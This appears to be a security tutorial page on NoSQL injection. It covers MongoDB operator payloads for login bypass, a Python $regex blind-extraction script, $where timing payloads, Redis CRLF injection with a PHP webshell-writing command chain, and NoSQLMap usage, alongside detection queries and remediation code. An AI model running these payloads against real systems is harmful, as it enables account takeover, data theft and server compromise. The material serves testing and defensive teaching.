
NoSQL Injection Attacks
MongoDB operator injection for authentication bypass and blind data extraction in Node.js and PHP applications, plus Redis CRLF injection.
Introduction
NoSQL injection abuses query operators instead of SQL syntax. MongoDB, the usual target, takes queries as objects, and operators such as $ne, $gt, $regex and $where control the comparisons. If user input goes into the query object as-is, which is exactly what happens with Express.js and express.json(), an attacker can supply operators and change what the query matches.
You are not breaking out of a quoted string. You send a structured value that MongoDB reads as an operator. Take a login check written as db.users.findOne({username: req.body.username, password: req.body.password}). Send {"$ne": ""} as the password and the query asks for a user whose password is not empty, which matches the first account.
PHP applications have the same problem through array parameters. Node.js applications are the easiest case: express.json() turns the body into a JavaScript object before the route handler sees it, so a JSON key named $ne arrives as an operator with no encoding tricks at all.
Authorization required
Test only systems you own or have written permission to test. $where timing payloads and broad $ne queries can be heavy on a production database, so keep them targeted. Practise in a local lab first.
Impact
- Log in as any user, admin included, without the password
- Pull usernames, emails, password hashes and API keys one character at a time with
$regex - Read other users' documents by injecting
$neinto the query that scopes results to the current user - Tie up the database with
$whereandsleep(), which holds a server thread for every request - Read or write arbitrary Redis keys through CRLF injection, with RCE through
CONFIG SETon older Redis versions
Technical details
MongoDB query object model
MongoDB queries are BSON documents. When an application constructs a query like:
db.users.findOne({ username: userInput, password: passInput })If passInput is the string "secret", the query is {username: "admin", password: "secret"}. If passInput is the object {"$ne": ""}, the query becomes {username: "admin", password: {"$ne": ""}}, which matches the admin document as long as its password is not empty.
Attack flow
Identify injection points
Start with anything that obviously queries the database: login forms, search, user lookup APIs. Test for JSON body parsing by sending Content-Type: application/json and observing whether the application accepts object types.
POST /api/login HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": {"$ne": ""}}For form-encoded endpoints (PHP or older frameworks), use array notation:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password[$ne]=invalidA successful login response (session cookie, JWT, redirect to dashboard) confirms the injection.
Operator injection for authentication bypass
The $ne operator is the most reliable bypass. Against a typical login query, these payloads authenticate as the target user:
{"username": "admin", "password": {"$ne": ""}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$ne": ""}}POST /login?username=admin&password[$ne]=x
POST /login?username[$ne]=x&password[$ne]=xWithout a username, {"$ne": ""} on both fields returns the first document in the collection. That is usually the oldest account and often an admin.
$regex for blind data extraction
$regex enables character-by-character extraction from any string field. The query {"username": {"$regex": "^a"}} returns true if the username starts with "a". Iterate over the alphabet to build strings:
import requests, string
target = "http://target.local/api/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
def extract_field(field_name, known=""):
for char in charset:
payload = {
"username": "admin",
field_name: {"$regex": f"^{known}{char}"}
}
r = requests.post(target, json=payload)
if r.status_code == 200 and "token" in r.text:
return extract_field(field_name, known + char)
return known
password = extract_field("password")
print(f"[+] Extracted: {password}")It works on any string field: password, email, apiKey, resetToken. Each character requires up to 62 requests, so a 12-character password takes ~744 requests. Burp Intruder handles this with a character position iterator.
$where timing attacks
The $where operator runs JavaScript inside mongod. Server-side JavaScript is on unless the server was started with --noscripting or security.javascriptEnabled: false. It is on by default (security.javascriptEnabled defaults to true). Put the condition before sleep() so the delay only happens when the condition is true:
{"$where": "this.username == 'admin' && sleep(2000)"}
{"$where": "this.password.match(/^a/) && sleep(2000)"}
{"$where": "function() { if(this.password.charAt(0) == 'a') { sleep(2000); } return true; }"}A 2-second delay means the condition is true, no delay means false. This works even when the application returns the same response either way.
time curl -s -X POST http://target.local/api/find \
-H 'Content-Type: application/json' \
-d '{"$where": "this.username.match(/^admin/) && sleep(2000)"}'
# real 0m2.134s confirms matchNode.js express.json() needs no encoding
Express.js with app.use(express.json()) deserializes the request body into a JavaScript object before routing. A JSON key named $ne arrives in req.body unchanged and reaches MongoDB as the $ne operator.
PHP needs the [$ne] bracket syntax in the URL or form body. Node.js takes the operator straight from JSON.
A Node.js and MongoDB application is exposed when it uses express.json() (almost all do), passes req.body fields straight into a query object, and never checks that those fields are strings. Look hardest at authentication middleware, user search and any "find by field" endpoint.
PHP array parameter injection
PHP's URL-encoded body parser converts field[$ne]=value into ['field' => ['$ne' => 'value']]. When passed to a MongoDB driver, this becomes the operator object. The attack works identically to JSON injection but via HTTP form encoding:
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password[$ne]=x&password[$gt]=GET parameter injection also works:
GET /api/users?role[$ne]=guest&active[$ne]=false HTTP/1.1This is most common in older PHP codebases using the legacy mongo extension or mongoclient wrapper without input sanitization.
Redis command injection via CRLF
Redis injection occurs when user input is appended to a Redis command string that gets sent over a raw TCP connection or interpolated into a Redis pipeline. The attack vector is CRLF injection: \r\n terminates one Redis command and begins a new one.
# Vulnerable code (Python)
redis_conn.execute_command(f"GET session:{user_input}")
# Payload
user_input = "x\r\nSET admin_session malicious_token\r\nGET x"
# Executes: GET session:x, SET admin_session malicious_token, GET xIn web contexts this commonly appears in session key construction, rate-limit key building, and cache key generation where user-supplied values are concatenated into Redis key names without sanitization.
On Redis versions before 7.0, CONFIG SET dir /var/www/html followed by CONFIG SET dbfilename shell.php and SET phpshell "<?php system($_GET[cmd]); ?>" then BGSAVE wrote a webshell into the web root. Redis 7.0 blocks runtime changes to dir and dbfilename by default (enable-protected-configs), and many deployments rename or disable CONFIG.
Attack tools
NoSQLMap automates MongoDB operator injection, authentication bypass detection, and data extraction.
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap && pip3 install -r requirements.txt
python3 nosqlmap.pypython3 nosqlmap.py \
--attack 2 \
--victim http://target.local/login \
--webPort 80 \
--uri /login \
--httpMethod POST \
--postData "username=admin&password=test" \
--injectableParam password \
--verboseNoSQLMap tries $ne, $gt, $regex and $where variants and reports which ones get past authentication.
python3 nosqlmap.py \
--attack 1 \
--victim 192.168.1.100 \
--mongoPort 27017 \
--dbsEnum
# Lists all databases accessible without auth on exposed MongoDB portpython3 nosqlmap.py \
--attack 2 \
--extractData \
--victim http://target.local/login \
--postData "username=admin&password=test" \
--injectableParam password \
--extractField passwordDetection
MongoDB query logging
Enable MongoDB profiler to capture all queries including operator objects:
db.setProfilingLevel(2) // Log all operations
db.system.profile.find({
"command.filter": { $exists: true }
}).sort({ ts: -1 }).limit(20)Queries containing $ne, $gt, $regex, $where in user-controlled fields appear as:
{
"op": "query",
"ns": "app.users",
"command": {
"filter": { "username": "admin", "password": { "$ne": "" } }
}
}WAF and application-level detection
| Signal | Detection Method |
|---|---|
$ne, $gt, $lt, $regex in POST body | WAF regex on request body JSON keys |
Array params field[$ne] | WAF rule on URL-encoded bracket notation |
$where operator | Block at the application layer; it has no legitimate use in user input |
| Repeated login attempts with operator variations | Rate limit + anomaly detection on auth endpoints |
MongoDB profiler $where entries | SIEM alert on system.profile entries containing $where |
SIEM queries
# Splunk: detect operator injection in application logs
index=app_logs sourcetype=access_log
| rex field=_raw "password=(?P<password_val>[^&\s]+)"
| search password_val="*%24ne*" OR password_val="*[$ne]*" OR password_val="*{*ne*}*"
| stats count by src_ip, uri_path
# MongoDB audit log: $where execution (MongoDB Enterprise)
mongod --setParameter auditLog.filter='{"atype":"find","param.command.filter.$where":{$exists:true}}'Event IDs and log sources
| Source | What to look for |
|---|---|
| MongoDB audit log | atype: find with $where in the filter |
| Application logs | Type errors when an object arrives where a string was expected |
| WAF logs | AWS WAF AWSManagedRulesCommonRuleSet catches some $ne patterns; full coverage needs custom rules |
| Node.js process | Unhandled rejections with MongoServerError about unknown or disallowed operators, from failed injection attempts |
Remediation
Input validation: reject operator keys
function sanitizeInput(obj) {
if (typeof obj !== 'object' || obj === null) return obj;
for (const key of Object.keys(obj)) {
if (key.startsWith('$')) {
delete obj[key]; // Remove MongoDB operators
} else {
obj[key] = sanitizeInput(obj[key]); // Recurse
}
}
return obj;
}
app.post('/login', (req, res) => {
const { username, password } = sanitizeInput(req.body);
// Both are now guaranteed to be non-operator values
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
db.users.findOne({ username, password });
});Mongoose schema enforcement
Mongoose's schema validation rejects operator objects when field types are declared as String:
const UserSchema = new mongoose.Schema({
username: { type: String, required: true },
password: { type: String, required: true }
});
// Query through model: Mongoose casts input to String
// {"$ne": ""} cast to String becomes "[object Object]", so no operator injection
User.findOne({ username: req.body.username, password: req.body.password });Use express-mongo-sanitize for defense-in-depth:
npm install express-mongo-sanitizeconst mongoSanitize = require('express-mongo-sanitize');
app.use(mongoSanitize()); // Strips keys starting with $ from req.body, req.query, req.paramsDisable $where
Add --noscripting to MongoDB startup arguments or set in mongod.conf:
security:
javascriptEnabled: falseThat removes $where, mapReduce and $function completely. No application should need $where on a user-controlled field.
Redis: prevent CRLF injection
import re
def safe_redis_key(*parts):
sanitized = [re.sub(r'[\r\n\x00]', '', str(p)) for p in parts]
return ':'.join(sanitized)
# Use structured key construction, never f-string concatenation with user input
key = safe_redis_key("session", user_id) # "session:12345"
redis_conn.get(key)Use a Redis client library that serializes commands rather than concatenating raw strings. Libraries like redis-py, ioredis, and jedis send each argument as a length-prefixed RESP string, so CRLF in a key value cannot start a new command.
Defense summary
| Control | Effectiveness | Implementation |
|---|---|---|
express-mongo-sanitize | High | Drop-in middleware |
| Mongoose typed schemas | High | Schema-level enforcement |
| Type-check inputs before query | High | Application code |
Disable javascriptEnabled | Eliminates $where | mongod.conf |
| WAF operator rules | Medium | Supplement only, bypassable |
| Redis structured key building | High | Library-level serialization |
References
MITRE ATT&CK techniques
Tools documentation
- NoSQLMap (GitHub)
- express-mongo-sanitize (npm)
- MongoDB Query Operators Reference
- OWASP Testing for NoSQL Injection
- MongoDB Security Checklist
Next steps
SQL Injection
Finding and exploiting SQL injection: in-band, blind and out-of-band techniques, per-database payloads, WAF bypasses, sqlmap and fixes.
Authentication Bypass Techniques
Ways past a login page, from credential attacks and logic flaws to session, JWT, OAuth, MFA and password reset bugs.
Insecure Deserialization
Exploiting deserialization of untrusted data in Java, PHP, Python, .NET and Node.js, from spotting serialized blobs to gadget chains and fixes.
Server-Side Request Forgery (SSRF)
Exploiting SSRF for cloud metadata credentials, internal port scanning and Redis via gopher, with filter bypasses and blind SSRF over out-of-band callbacks.
JWT Attacks: Algorithm Confusion and Forgery
Forging JSON Web Tokens with the none algorithm, RS256 to HS256 confusion, cracked HS256 secrets, kid injection and jku/x5u hijacking.
OAuth 2.0 Misconfigurations and Token Theft
Stealing OAuth 2.0 codes and tokens through redirect_uri bypasses, missing state checks, implicit flow leaks, Referer leaks and scope escalation.